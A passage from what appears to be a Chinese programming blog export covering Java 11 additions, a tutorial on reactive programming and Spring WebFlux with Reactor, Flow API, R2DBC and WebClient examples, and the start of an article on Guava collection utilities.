String test3=\u0026#34;测试 \u0026#34;;//半角空白字符 10 System.out.println(test3.trim().length());//2 11 System.out.println(test3.strip().length());//2 12 13 String test4=\u0026#34;测试 \u0026#34;;//全角空白字符 14 System.out.println(test4.trim().length());//3 15 System.out.println(test4.strip().length());//2 16 17 String test5=\u0026#34;测试 \u0026#34;;//两个半角空白字符 18 System.out.println(test5.trim().length());//2 19 System.out.println(test5.strip().length());//2 20 7 InputStream 终于有一个非常实用的方法可以将数据从 inputStream 转到 outputStream 了，不用再自己写了\n1var classLoader = ClassLoader.getSystemClassLoader(); 2var inputStream = classLoader.getResourceAsStream(\u0026#34;myFile.txt\u0026#34;); 3var tempFile = File.createTempFile(\u0026#34;myFileCopy\u0026#34;, \u0026#34;txt\u0026#34;); 4try (var outputStream = new FileOutputStream(tempFile)) { 5 inputStream.transferTo(outputStream); 6} 我们看源码的 transferTo 方法\n1 public long transferTo(OutputStream out) throws IOException { 2 Objects.requireNonNull(out, \u0026#34;out\u0026#34;); 3 long transferred = 0; 4 byte[] buffer = new byte[DEFAULT_BUFFER_SIZE]; 5 int read; 6 while ((read = this.read(buffer, 0, DEFAULT_BUFFER_SIZE)) \u0026gt;= 0) { 7 out.write(buffer, 0, read); 8 transferred += read; 9 } 10 return transferred; 11 } 12} 熟悉吗？再也不用写这破玩意儿了。\n最后 当然 Java 11 的更新 中远远不止上面这些内容，还有很多功能和特性值得大家去探索，比如：\nFlow API 的反应式编程 G1: Full Parallel Garbage Collector ZGC: Scalable Low-Latency Garbage Collector \u0026hellip; ","date":"2022-08-30T14:00:32Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-08-30-10-fen-zhong-liao-jie-7-ge-java11-de-xin-gong-neng/cover.jpg","permalink":"/p/2022-08-30-10-fen-zhong-liao-jie-7-ge-java11-de-xin-gong-neng/","title":"10分钟了解7个Java11的新功能"},{"content":"概述 本文将通过对 Reactive 以及相关概念的解释引出 Spring-WebFlux，并通过一些示例向读者解释 基于 Spring-WebFlux 如何进行反应式编程实践，同时会讨论相关技术的优缺点及技术原理。\n什么是 Reactive 在计算机编程领域，Reactive 一般指的是 Reactive programming。指的是一种面向数据流并传播事件的异步编程范式（asynchronous programming paradigm）\n响应式编程最初是为了简化交互式用户界面的创建和实时系统动画的绘制而提出来的一种方法，但它本质上是一种通用的编程范式。\n举个例子\n“\n在 Excel 里，C 单元格上设置函数 Sum(A+B)，当你改变单元格 A 或者单元格 B 的数值时，单元格 C 的值同时也会发生变化。这种行为就是 Reactive\n”\n下面的例子我们用了 https://projectreactor.io/ 的 reactor 库，通过这个例子找找感觉：\n1 FluxProcessor\u0026lt;Integer, Integer\u0026gt; publisher = UnicastProcessor.create(); 2 publisher.doOnNext(event -\u0026gt; System.out.println(\u0026#34;receive event: \u0026#34; + event)).subscribe(); 3 publisher.onNext(1); 4 publisher.onNext(2); 5 6 // 输出 7 // receive event: 1 8 // receive event: 2 追根溯源，说到 Reactive ，就不得不提到 大名鼎鼎的响应式宣言/The Reactive Manifesto（https://www.reactivemanifesto.org），它于 2014 年发表，响应式宣言是一份构建现代云扩展架构的处方。\n“\nWe believe that a coherent approach to systems architecture is needed, and we believe that all necessary aspects are already recognised individually: we want systems that are Responsive, Resilient, Elastic and Message Driven. We call these Reactive Systems.\n”\n这个框架主要使用消息驱动的方法来构建系统，在形式上可以达到弹性和韧性，最后可以产生响应性的价值。\n所谓弹性和韧性，通俗来说就像是橡皮筋，弹性是指橡皮筋可以拉长，而韧性指在拉长后可以缩回原样。\n解释下上面的关键词：\n响应性 快速/一致的响应时间。假设在有 500 个并发操作时，响应时间为 1s，那么并发操作增长至 5 万时，响应时间也应控制在 1s 左右。快速一致的响应时间才能给予用户信心，是系统设计的追求。\n韧性 复制/遏制/隔绝/委托。当某个模块出现问题时，需要将这个问题控制在一定范围内，这便需要使用隔绝的技术，避免连锁性问题的发生。或是将出现故障部分的任务委托给其他模块。韧性主要是系统对错误的容忍。\n弹性 无竞争点或中心瓶颈/分片/扩展。如果没有状态的话，就进行水平扩展，如果存在状态，就使用分片技术，将数据分至不同的机器上。\n消息驱动 异步/松耦合/隔绝/地址透明/错误作为消息/背压/无阻塞。消息驱动是实现上述三项的技术支撑。\n地址透明有很多方法。例如 DNS 提供的一串人类能读懂的地址，而不是 IP，这是一种不依赖于实现，而依赖于声明的设计。再例如 k8s 每个 service 后会有多个 Pod，依赖一个虚拟的服务而不是某一个真实的实例，从何实现调用 1 个或调用 n 个服务实例对于对调用方无感知，这是为分片或扩展做了准备。\n错误作为消息，这在 Java 中是不太常见的，Java 中通常将错误直接作为异常抛出，而在响应式中，错误也是一种消息，和普通消息地位一致，这和 JavaScript 中的 Promise 类似。\n背压是指当上游向下游推送数据时，可能下游承受能力不足导致问题，一个经典的比喻是就像用消防水龙头解渴。因此下游需要向上游声明每次只能接受大约多少量的数据，当接受完毕再次向上游申请数据传输。这便转换成是下游向上游申请数据，而不是上游向下游推送数据。\n无阻塞是通过 no-blocking IO 提供更高的多线程切换效率。\nReactive Programming 响应式编程是一种声明式编程范型\n1 int a, b, sum; 2 3 a = 3; 4 b = 4; 5 sum = a + b; 6 7 a = 6; 8 b = 7; 9 10 System.out.println(sum); 上面是一个命令式编程的例子，先声明两个变量，然后进行赋值，让两个变量相加，得到相加的结果。但接着当修改了最早声明的两个变量的值后，sum 的值不会因此产生变化。\n在 Java 9 Flow 中，按相同的思路实现上述处理流程，当初始变量的值变化，最后结果的值也同步发生变化，这就是响应式编程。这相当于声明了一个公式，输出值会随着输入值而同步变化。\n1 SubmissionPublisher\u0026lt;Integer\u0026gt; publisher = new SubmissionPublisher\u0026lt;\u0026gt;(); 2 publisher.subscribe(new Flow.Subscriber\u0026lt;Integer\u0026gt;() { 3 private Integer sum = 0; 4 Flow.Subscription subscription = null; 5 6 @Override 7 public void onSubscribe(Flow.Subscription subscription) { 8 9 this.subscription = subscription; 10 subscription.request(1); 11 } 12 13 @Override 14 public void onNext(Integer item) { 15 subscription.request(1); 16 sum += item; 17 18 } 19 20 @Override 21 public void onError(Throwable throwable) { 22 23 } 24 25 @Override 26 public void onComplete() { 27 System.out.println(sum); 28 } 29 30 }); 31 32 Arrays.asList(3, 4).stream().forEach(publisher::submit); 33 publisher.close(); 之前有提及消息驱动，消息驱动（Message-driven）和事件驱动（Event-driven）有什么区别呢。\n1） 消息驱动有确定的目标，一定会有消息的接受者，而事件驱动是一件事情希望被观察到，观察者是谁无关紧要。消息驱动系统关注消息的接受者，事件驱动系统关注事件源。\n2） 在一个使用响应式编程实现的响应式系统中，消息擅长于通讯，事件擅长于反应事实。\nReactive Streams Reactive Streams(https://www.reactive-streams.org) 提供了一套非阻塞背压的异步流处理标准，主要应用在 JVM、JavaScript 和网络协议工作中。通俗来说，它定义了一套响应式编程的标准。\n有了标准，各 Reactor 库的厂商就有了规范，不再各自为战，并且对于上层应用开发者来说可以根据自己的需要选择同一个规范下的各种不同实现库。\n“\nThe purpose of Reactive Streams is to provide a standard for asynchronous stream processing with non-blocking backpressure.\n”\n在 Java 中，有 4 个 Reactive Streams API，在 JUC 的 Flow 类中可以看到：\nPublisher 即事件的发生源，它只有一个 subscribe 方法。其中的 Subscriber 就是订阅消息的对象。 Subscriber 作为订阅者，有四个方法。onSubscribe 会在每次接收消息时调用，得到的数据都会经过 onNext 方法。onError 方法会在出现问题时调用，Throwable 即是出现的错误消息。在结束时调用 onComplete 方法。 Subscription 接口用来描述每个订阅的消息。request 方法用来向上游索要指定个数的消息，cancel 方法用于取消上游的数据推送，不再接受消息。 Processor 接口继承了 Subscriber 和 Publisher，它既是消息的发生者也是消息的订阅者。这是发生者和订阅者间的过渡桥梁，负责一些中间转换的处理。 Thinking in Streams 反应式流所带来的编程思维模式的改变是转为以流为中心。这是从以逻辑为中心到以数据为中心的转换，也是命令式到声明式的转换。\n传统的命令式编程范式以控制流为核心，通过顺序、分支和循环三种控制结构来完成不同的行为。开发人员在程序中编写的是执行的步骤 以数据为中心侧重的是数据在不同组件的流动。开发人员在程序中编写的是对数据变化的声明式反应。 Reactor 库 Reactor Library 从开始到现在已经历经多代。早期如 java.util.Observable 、 rx.NET 、 Reactive4Java ，后来的 Rxjava 、Akka-Streams以及 Project Reactor。\nRxJava 对于开发 Android 应用的同学应该不陌生，比较常用，这种比较著名的库发展了好几个大版本，比如 RxJava1 RxJava2 和 RxJava3 Project Reactor（Spring 母公司 Pivotal 的项目），实现了完全非阻塞，并且基于网络 HTTP/TCP/UDP 等的背压，即数据传输上游为网络层协议时，通过远程调用也可以实现背压。同时，它还实现了 Reactive Streams API 和 Reactive Extensions，以及支持 Java 8 functional API/Completable Future/Stream /Duration 等各新特性。它也是 Spring 官方反应式编程的默认实现。 从 Reactive 宣言、到 Reactive Streams 规范，再到各种 Reactive 库是很自然的一个脉络，但现实的顺序是：\n先有了宣言（思想） 然后有了根据思想开发的各种库（实现） 为了各个库之间的统一性、可操作性，大家一起协商出了 Reactive Streams 规范。继而这些已经存在的 Reactive 库便改进自己的 API 设计，向 Reactive Streams 规范靠拢并提供各种转化 API 让用户在原生 API 和 Reactive Streams 接口直接转换。 来看个例子：\n1 List\u0026lt;String\u0026gt; words = Arrays.asList( 2 \u0026#34;the\u0026#34;, \u0026#34;quick\u0026#34;, \u0026#34;brown\u0026#34;, \u0026#34;fox\u0026#34;, 3 \u0026#34;jumped\u0026#34;, \u0026#34;over\u0026#34;, \u0026#34;the\u0026#34;, \u0026#34;lazy\u0026#34;, \u0026#34;dog\u0026#34;); 4 Flux.fromIterable(words) 5 .flatMap(word -\u0026gt; Flux.fromArray(word.split(\u0026#34;\u0026#34;))) 6 .concatWith(Mono.just(\u0026#34;s\u0026#34;)).distinct().sort() 7 .zipWith(Flux.range(1, Integer.MAX_VALUE), 8 (string, count) -\u0026gt; 9 String.format(\u0026#34;%2d. %s\u0026#34;, count, string) 10 ) 11 .subscribe(System.out::println); 首先定义了一个 words 的数组，然后使用 flatMap 做映射，再将每个词和 s 做连接，得出的结果和另一个等长的序列进行一个 zipWith 操作，最后打印结果。这和 Java 8 Stream 非常类似，但仍存在一些区别：\n1） Stream 是 pull-based，下游从上游拉数据的过程，它会有中间操作例如 map 和 reduce，和终止操作例如 collect 等，只有在终止操作时才会真正的拉取数据。Reactive 是 push-based，可以先将整个处理数据量构造完成，然后向其中填充数据，在出口处可以取出转换结果。\n2） Stream 只能使用一次，因为它是 pull-based 操作，拉取一次之后源头不能更改。但 Reactive 可以使用多次，因为 push-based 操作像是一个数据加工厂，只要填充数据就可以一直产出。\n3） Stream#parallel() 使用 fork-join 并发，就是将每一个大任务一直拆分至指定大小颗粒的小任务，每个小任务可以在不同的线程中执行，这种多线程模型符合了它的多核特性。Reactive 使用 Event loop，用一个单线程不停的做循环，每个循环处理有限的数据直至处理完成。\n这里有个网站，一共 12 节，每一节都有讲解和代码示例，是基于 Reactor 3 的，可以用来练习 Reactive Programing :https://tech.io/playgrounds/929/reactive-programming-with-reactor-3/Intro\nBackpressure 上面我们提到了 BackPressure，即背压或回压。Backpressure 是一种现象：当数据流从上游生产者向下游消费者传输的过程中，上游生产速度大于下游消费速度，导致下游的 Buffer 溢出，这种现象就叫做 Backpressure。\n上游生产数据，生产完成后通过管道将数据传到下游，下游消费数据，当下游消费速度小于上游数据生产速度时，数据在管道中积压会对上游形成一个压力，这就是 BackpressureBackpressure 会出现在有 Buffer 上限的系统中，当出现 Buffer 溢出的时候，就会有 Backpressure，对于 Backpressure，它的应对措施只有一个：丢弃新事件。那么什么是 Buffer 溢出呢？例如我的服务器可以同时处理 2000 个用户请求，那么我就把请求上限设置为 2000，这个 2000 就是我的 Buffer，当超出 2000 的时候，就产生了 Backpressure。\nBackpressure 问题在 Flow API 中得到了很好的解决。\nSubscriber 会将 Publisher 发布的数据缓存在 Subscription 中，其长度默认为 256，一旦超出这个数据量，publisher 就会降低数据发送速度。通过一个例子了解一下：\n1 public static void backPressureTest() { 2 3 SubmissionPublisher\u0026lt;String\u0026gt; publisher = new SubmissionPublisher\u0026lt;\u0026gt;(); 4 5 Flow.Subscriber\u0026lt;String\u0026gt; subscriber = new Flow.Subscriber\u0026lt;String\u0026gt;() { 6 private Flow.Subscription subscription; 7 8 @Override 9 public void onSubscribe(Flow.Subscription subscription) { 10 this.subscription = subscription; 11 //向数据发布者请求一个数据 12 this.subscription.request(1); 13 } 14 15 @Override 16 public void onNext(String item) { 17 System.out.println(\u0026#34;接收到 publisher 发来的消息了：\u0026#34; + item); 18 try { 19 Thread.sleep(2000); 20 } catch (InterruptedException e) { 21 e.printStackTrace(); 22 } 23 this.subscription.request(1); 24 } 25 26 @Override 27 public void onError(Throwable throwable) { 28 //出现异常，就会来到这个方法，此时直接取消订阅即可 29 this.subscription.cancel(); 30 } 31 32 @Override 33 public void onComplete() { 34 //发布者的所有数据都被接收，并且发布者已经关闭 35 System.out.println(\u0026#34;数据接收完毕\u0026#34;); 36 } 37 }; 38 publisher.subscribe(subscriber); 39 for (int i = 0; i \u0026lt; 500; i++) { 40 System.out.println(\u0026#34;i---------\u0026gt;\u0026#34; + i); 41 publisher.submit(\u0026#34;hello:\u0026#34; + i); 42 } 43 //关闭发布者 44 publisher.close(); 45 } 这里我们发布 500 条数据，由于 Flow 的缓存大小是 256 ，所以前 256 条数据很快就生产出来进入缓存队列了：\n1static final int DEFAULT_BUFFER_SIZE = 256; 由于消费的比较慢（我们手动 Sleep 了 2 秒） this.subscription.request(1) 只能一条一条消费，所以效果就是一条一条消费，消费一条，生产一条。\n最好自己在本地跑一下代码，感受一下 backpressure\nR2DBC Reactive 本来不支持 JDBC。最根本的原因是，JDBC 不是 non-blocking 设计。不过这个事情也正在推进和发展过程中，比如 r2dbc ( https://r2dbc.io/) 项目。\nR2DBC 是 Reactive Relational Database Connectivity 的首字母缩写词。 R2DBC 是一个 API 规范倡议，它声明了一个响应式 API，由驱动程序供应商实现，并以响应式编程的方式访问他们的关系数据库。\nR2DBC基于Reactive Streams反应流规范，它是一个开放的规范，为驱动程序供应商和使用方提供接口（r2dbc-spi），与JDBC的阻塞特性不同，它提供了完全反应式的非阻塞API与 [关系型数据库] 交互。\n目前 R2DBC 支持的数据库如下：\ncloud-spanner-r2dbc - driver for Google Cloud Spanner. jasync-sql - R2DBC wrapper for Java \u0026amp; Kotlin Async Database Driver for MySQL and PostgreSQL (written in Kotlin). oracle-r2dbc - native driver implemented for Oracle. r2dbc-h2 - native driver implemented for H2 as a test database. r2dbc-mariadb - native driver implemented for MariaDB. r2dbc-mssql - native driver implemented for Microsoft SQL Server. r2dbc-mysql - native driver implemented for MySQL. r2dbc-postgresql - native driver implemented for PostgreSQL. 很多同学可能会关心事务的事儿，R2DBC 也是支持事务的\n什么是 Spring-WebFlux 相信有了前文对 Reactive 的铺垫，了解 Spring-WebFlux 会比较容易了。\nSpring 5.0 添加了 Spring-WebFlux 模块将默认的 web 服务器改为 Netty，支持 Reactive 应用，它的特点是：\n完全非阻塞式的（non-blocking） 支持 Reactive Stream 背压（Reactive Streams back pressure） 运行在 Netty, Undertow, and Servlet 3.1+ 容器 对比 Spring MVC Spring MVC 构建于 Servlet API 之上，使用的是同步阻塞式 I/O 模型，什么是同步阻塞式 I/O 模型呢？就是说，每一个请求对应一个线程去处理。\nSpring WebFlux 是一个异步非阻塞式 IO 模型，通过少量的容器线程就可以支撑大量的并发访问，所以 Spring WebFlux 可以有效提升系统的吞吐量和伸缩性，特别是在一些 IO 密集型应用中，Spring WebFlux 的优势明显。例如微服务网关 Spring Cloud Gateway 就使用了 WebFlux，这样可以有效提升网管对下游服务的吞吐量。\nSpring WebFlux 与 Spring MVC 的关系如下图\n可见，Spring WebFlux 并不是为了替代 Spring MVC 的，它与 Spring MVC 一起形成了两套 WEB 框架。两套框架有交集比如对 @Controller 注解的使用，以及均可使用 Tomcat、Jetty、Undertow 作为 Web 容器。\nSpring MVC 还是 WebFlux？ 针对这个问题，官方认为两者并不是二元对立的，他们可以并排使用，两者一起工作以扩大可用选项的范围。\n我们来看看官方给的具体建议：\n如果已经有了一个运行良好的 SpringMVC 应用程序，则无需更改。命令式编程是编写、理解和调试代码的最简单方法，我们可以选择最多的库，因为从历史上看，大多数都是阻塞的。 如果是个新应用且决定使用 非阻塞 Web 技术栈，那么 WebFlux 是个不错的选择。 对于使用 Java8 Lambda 或者 Kotlin 且 要求不那么复杂的小型应用程序或微服务来说，WebFlux 也是一个不错的选择 在微服务架构中，可以混合使用 SpringMVC 和 Spring WebFlux，两个都支持基于注解的编程模型 评估应用程序的一种简单方法是检查其依赖关系。如果要使用阻塞持久性 API（JPA、JDBC）或网络 API，那么 Spring MVC 至少是常见架构的最佳选择 如果有一个调用远程服务的 Spring MVC 应用程序，请尝试响应式WebClient 对于一个大型团队，向非阻塞、函数式和声明式编程转变的学习曲线是陡峭的。在没有全局开关的情况下，想启动 WebFlux，可以先使用 reactive WebClient。此外，从小处着手并衡量收益。我们预计，对于广泛的应用，这种转变是不必要的。 这里最后一点的意思是要仔细通过技术原理（非阻塞 IO、并发性能、吞吐量..）来评估 WebFlux 究竟能为我们带来多少益处，同时评估为了获得这些好处所要付出的学习和改造成本，然后衡量收益，如果收益大值得一试，否则不建议动。\n个人认为对于日常用 SpringMVC 开发的业务应用不用换 Spring-WebFlux，因为 SpringMVC 是同步阻塞式模型，对于应用的开发、调试、测试都比较友好，反过来这些点在非阻塞模型的 WebFlux 中就变成了缺点。\n为什么要用 WebFlux 为什么要用 WebFlux ？或者换句话说 WebFlux 有什么优点？\n首先是吞吐量\n随着每个请求的被处理时间越长、并发请求的量级越大，WebFlux 相比 SpringMVC 的整体吞吐量高的越多，平均的请求响应时间越短。如下图所示\n吞吐量大了，意味着单位时间内可以处理的请求数变多了，比如原来 1w 个请求 10 秒处理完，现在 10w 个请求也是 10 秒处理完，就代表吞吐上去了。注意，是吞吐上去了，不代表单次请求快了，单次请求的速度和原来一样。\n非阻塞\n传统阻塞 IO 模型的不足包括\n每个连接都需要独立线程处理，当并发数大时，创建线程数多，占用资源 采用阻塞 IO 模型，连接建立后，若当前线程没有数据可读，线程会阻塞在读操作上，造成资源浪费 针对传统阻塞 IO 模型的两个问题，可以采用如下的方案\n基于池化思想，避免为每个连接创建线程，连接完成后将业务处理交给线程池处理 基于 IO 复用模型，多个连接共用同一个阻塞对象，不用等待所有的连接。遍历到有新数据可以处理时，操作系统会通知程序，线程跳出阻塞状态，进行业务逻辑处理 Netty 所用的 Reactor 线程模型，就解决了阻塞 IO 的问题，具体来讲，它使用的是主从 Reactor 多线程模型\n同时 Netty 自身也很好地利用了 IO 多路复用、epoll 优化、零拷贝等技术，极大程度上优化了 IO 的性能。我们知道 SpringWebFlux 底层也依赖了 Netty ，所以也获得了 Netty 带来的优势。这一点可以概括为应用的弹性或伸缩性。根据实际请求量的大小进行资源的伸缩。\nMono Flux 前提：这里的例子使用的框架是 SpringBoot ，版本为 2.3.12.RELEASE 相应的 Spring 的大版本是 5，JDK 11\n我们用两个最简单的例子，演示下用 Spring WebFlux 怎么写 Web 的 controller\n当然首先要添加相关依赖\n1\u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;spring-boot-starter-webflux\u0026lt;/artifactId\u0026gt; 4\u0026lt;/dependency\u0026gt; 5 6@RestController 7@RequestMapping(\u0026#34;/webflux\u0026#34;) 8public class HelloController { 9 10 @GetMapping(\u0026#34;/hello\u0026#34;) 11 public Mono\u0026lt;String\u0026gt; hello() { 12 return Mono.just(\u0026#34;Hello Spring Webflux\u0026#34;); 13 } 14 15} 16 17\u0026gt; curl http://localhost:8080/webflux/hello 18Hello Spring Webflux 我们再来一个返回对象列表的例子：\n1 @GetMapping(\u0026#34;/posts\u0026#34;) 2 public Flux\u0026lt;Post\u0026gt; posts() { 3 4 WebClient webClient = WebClient.create(); 5 Flux\u0026lt;Post\u0026gt; postFlux = webClient.get().uri(\u0026#34;http://jsonplaceholder.typicode.com/posts\u0026#34;).retrieve().bodyToFlux(Post.class); 6 7 return postFlux; 8 } 9 10@NoArgsConstructor 11@Data 12public class Post { 13 14 private Integer userId; 15 private Integer id; 16 private String title; 17 private String body; 18 19} 浏览器请求 http://localhost:8080/webflux/posts ，得到\n解释一下这个例子，WebClient 是 Spring5 以后提供的，可以替代 RestTemplate，我们利用 WebClient 请求 jsonplaceholder 提供的 json 对象数组，将返回的结果映射成为 Post 对象，然后直接将 Post 对象列表返回给客户端。\n有关 WebClient 的具体 API 这里先不做过多解释，我们看一下 Mono 和 Flux 这两个陌生的类。在 WebFlux 中 他们均能充当响应式编程中发布者的角色，不同的是：\nMono：返回 0 或 1 个元素，即单个对象。 Flux：返回 N 个元素，即 List 列表对象。 此外，在应用启动后，通过 IDEA 的控制台可以明显看到 Server 已经不是 Tomcat 了，而是 Netty\n如果你没有看到 Netty 还是 Tomcat 的话，可能是你的pom.xml 中同时包含了以下两个依赖：\n1 \u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;spring-boot-starter-web\u0026lt;/artifactId\u0026gt; 4 \u0026lt;/dependency\u0026gt; 5 6 \u0026lt;dependency\u0026gt; 7 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 8 \u0026lt;artifactId\u0026gt;spring-boot-starter-webflux\u0026lt;/artifactId\u0026gt; 9 \u0026lt;/dependency\u0026gt; 解决的方案是去掉 spring-boot-starter-web 依赖，这样 Server 就切换到了 Netty。\nStream 既然叫 Reactive Stream 我们就用下面一个例子 找一找流的感觉：\n1@GetMapping(value = \u0026#34;/flux\u0026#34;, produces = MediaType.TEXT_EVENT_STREAM_VALUE) 2public Flux\u0026lt;String\u0026gt; flux() { 3 Flux\u0026lt;String\u0026gt; flux = Flux.fromArray(new String[]{\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;, \u0026#34;d\u0026#34;}).map(s -\u0026gt; { 4 try { 5 Thread.sleep(1000); 6 } catch (InterruptedException e) { 7 e.printStackTrace(); 8 } 9 return \u0026#34;\u0026lt;letter:\u0026#34; + s + \u0026#34;\u0026gt;\u0026#34;; 10 }); 11 return flux; 12} 看下效果：\n浏览器每隔一秒显示下一条数据，这正是流的效果，是不是有点儿像 WebSocket ？其实并不完全一样。奥妙在这里 text/event-stream，这其实也是服务器向浏览器推送消息的一种方案。感兴趣的同学可以搜索一下 WebSocket 和 SSE 的区别。\n请求分发 Spring MVC 的前端控制器是 DispatcherServlet, 而 WebFlux 是 DispatcherHandler，它实现了 WebHandler 接口，主要看 handle 方法\nDB 有文章说，WebFlux 还不支持 MySQL ，可能是文章发布的较早，当时 R2DBC 没来得及支持那么多的数据库，只支持了 MongoDB 和 PostgreSQL 等几个。现在这个时间点 R2DBC 支持的数据库就比较多了，也包含了 MySQL（参数上文）\nSpring Data R2DBC 可以与 Spring Data JPA 结合使用，其实 R2DBC 与原来的 JPA 使用方式差别不大，使用非常简单。 只是 Spring Data JPA 中方法返回的是真实的值，而 R2DBC 中，返回的是数据流Mono，Flux。\n更多 R2DBC 的介绍，可以参考 Spring 的官方文档：https://docs.spring.io/spring-data/r2dbc/docs/1.3.2/reference/html/#r2dbc.core\n有兴趣的同学可以用 Spring WebFlux + R2DBC+MySQL ，实现一下 CRUD 操作。就是一个从头到尾彻彻底底的响应式非阻塞应用。\nWebClient Spring 5 引入了新的 WebClientAPI，取代了现有的 RestTemplate 客户端。使用 WebClient 您可以使用功能流畅的 API 发出同步或异步 HTTP 请求，该 API 可以直接集成到您现有的 Spring 配置和 WebFlux 反应式框架中。\n一个例子：\n1 private static void testWebClient() { 2 3 WebClient webClient = WebClient.create(); 4 monoTest(webClient, \u0026#34;http://jsonplaceholder.typicode.com/posts/1\u0026#34;); 5 6 } 7 /** 8 * 从 API 获取单个帖子 9 */ 10 private static void monoTest(WebClient webClient, String uri) { 11 //要注意此时实际上还没有发送任何请求！作为一个反应式 API，在某些尝试读取或等待响应之前，不会实际发送请求。 12 Mono\u0026lt;Post\u0026gt; postMono = webClient.get().uri(uri).retrieve().bodyToMono(Post.class); 13 Post post1 = postMono.blockOptional().get(); 14 log.info(post1.getTitle()); 15 16 } 上面的是 Mono 的，再来一个 Flux 的（获得 post list 并将 id 求和）：\n1/** 2 * 获取 post 列表 ，使用 Flux 因为是多值 , 要是获取一个对象比如 `posts/1` 就可以用 Mono 3 * 4 * @param webClient 5 * @param uri 6 */ 7private static void fluxTest(WebClient webClient, String uri) { 8 9 // retrieve() 方法是获取响应主体并对其进行解码 10 Flux\u0026lt;Post\u0026gt; postFlux = webClient.get().uri(uri).retrieve().bodyToFlux(Post.class); 11 List\u0026lt;Post\u0026gt; posts = postFlux.collectList().block(); 12 Integer idSum = posts.stream().mapToInt(post -\u0026gt; post.getId()).reduce(0, (a, b) -\u0026gt; a + b); 13 log.info(idSum); 14} 总结 Reactive Programming 作为观察者模式（Observer） 的延伸，不同于传统的命令编程方式（ Imperative programming）同步拉取数据的方式，如迭代器模式（Iterator） 。而是采用数据发布者同步或异步地推送到数据流（Data Streams）的方案。\n当该数据流（Data Steams）订阅者监听到传播变化时，立即作出响应动作。在实现层面上，Reactive Programming 可结合函数式编程简化面向对象语言语法的臃肿性，屏蔽并发实现的复杂细节，提供数据流的有序操作，从而达到提升代码的可读性，以及减少 Bugs 出现的目的。同时，Reactive Programming 结合背压（Backpressure）的技术解决发布端生成数据的速率高于订阅端消费的问题。\n如果说 Spring Cloud 是从【宏观系统层面的开发】角度在实践健壮的高可用系统+系统运维，K8S 在【DEV OPS】层面实践更好的系统运维，Service Mesh 在【基础设施层（infra）】实践健壮的高可用系统+系统运维，那么 WebFlux（包括整个 Reactive Stack 体系的其他成员）就是从【微观项目层面的开发】角度在实践健壮的高可用系统+系统运维。或多或少，它们都从各个维度在朝着“更少的人治”角度去努力。\nGitHub 地址 代码示例我放到了 github 上 ：https://github.com/xiaobox/Spring-WebFlux-Demo\n参考 https://juejin.cn/post/6844903552905641991 https://www.jianshu.com/p/15d0a2bed6da https://www.jdon.com/56547 https://segmentfault.com/a/1190000017548728 https://www.reactivemanifesto.org/ https://www.yisu.com/zixun/96685.html https://mp.weixin.qq.com/s/BfgQ760h_WeUOBRrgx1ubA https://docs.spring.io/spring-data/r2dbc/docs/1.3.2/reference/html/#r2dbc.core https://tech.io/playgrounds/929/reactive-programming-with-reactor-3/Intro ","date":"2022-08-29T10:31:50Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-08-29-yi-wen-nong-dong-spring-webflux-de-lai-long-qu-mai/cover.jpg","permalink":"/p/2022-08-29-yi-wen-nong-dong-spring-webflux-de-lai-long-qu-mai/","title":"一文弄懂 Spring WebFlux 的来龙去脉"},{"content":"背景 先来回顾一下 JDK 的 Collections ， java.util.Collections 提供了一系列静态方法，能更方便地操作各种集合。\n比如：\n创建空集合 Collections.emptyList(); 创建单元素集合 Collections.singletonList(\u0026ldquo;apple\u0026rdquo;); 排序 Collections.sort(list); 创建不可变集合 Collections.unmodifiableList(mutable); 创建线程安全集合 Collections.synchronizedList(list); \u0026hellip;\u0026hellip; Guava 沿着 Collections 的思路 提供了 更多的工具方法，适用于所有集合的静态方法，使之成为更强大的集合工具类。\nGuava 提供的集合工具不止是对 Collections 的扩展和增强，还包括了其他集合类型的工具类，我们把工具类与特定集合接口的对应关系归纳如下：\nInterface JDK or Guava? 对应 Guava 工具类 Collection JDK Collections2 List JDK Lists Set JDK Sets SortedSet JDK Sets Map JDK Maps SortedMap JDK Maps Queue JDK Queues Multiset Guava Multisets Multimap Guava Multimaps BiMap Guava Maps Table Guava Tables 静态构造器 在 JDK 7 之前，构造新的范型集合时要讨厌地重复声明范型：\n1List\u0026lt;TypeThatsTooLongForItsOwnGood\u0026gt; list = new ArrayList\u0026lt;TypeThatsTooLongForItsOwnGood\u0026gt;(); JDK 7 以后因为有了钻石操作符（Diamond Operator）可以自动推断参数类型，所以省点儿事儿\n1List\u0026lt;TypeThatsTooLongForItsOwnGood\u0026gt; list = new ArrayList\u0026lt;\u0026gt;(); 用 Guava 可以这样写：\n1List\u0026lt;TypeThatsTooLongForItsOwnGood\u0026gt; list = Lists.newArrayList(); 你可能觉得：这没什么牛的呀，跟 JDK7 以后没啥区别呀，人家还是原生的。\n是的，没错，尤其是你用 JDK 9 以后的版本，JDK 从功能上跟 Guava 就基本一样了，举个例子，比如带元素初始化：\n1List\u0026lt;String\u0026gt; theseElements = Lists.newArrayList(\u0026#34;alpha\u0026#34;, \u0026#34;beta\u0026#34;, \u0026#34;gamma\u0026#34;); 上面这行是利用了 Guava 的 Lists ，JDK 7 没有比这行代码更好的方法，但 JDK9 人家有，比如：\n1List\u0026lt;String\u0026gt; theseElements2 = List.of(\u0026#34;alpha\u0026#34;, \u0026#34;beta\u0026#34;, \u0026#34;gamma\u0026#34;); 所以我们说，跟着 Guava 学 Java，随着版本的迭代，你觉得哪个好用，哪个适合你用哪个，我的重要是把这里面的知识点讲清楚。\n我们再来看个例子：创建集合时指定初始化集合大小：\n1List\u0026lt;Type\u0026gt; exactly100 = Lists.newArrayListWithCapacity(100); 你可能说，哥们，这 JDK 有啊，这不多此一举吗？\n1ArrayList\u0026lt;Object\u0026gt; objects = new ArrayList\u0026lt;\u0026gt;(10); 是的，作用一样，但 Guava 的做法，可以利用工厂方法名称，提高代码的可读性，你不觉得虽然名字长了，但可读性比 JDK 那个好很多吗？代码不止是写给机器的，也是写给人看的，不能指望团队里所有人都是强者。代码可读性越高，越健壮越容易维护。\nIterables Iterables 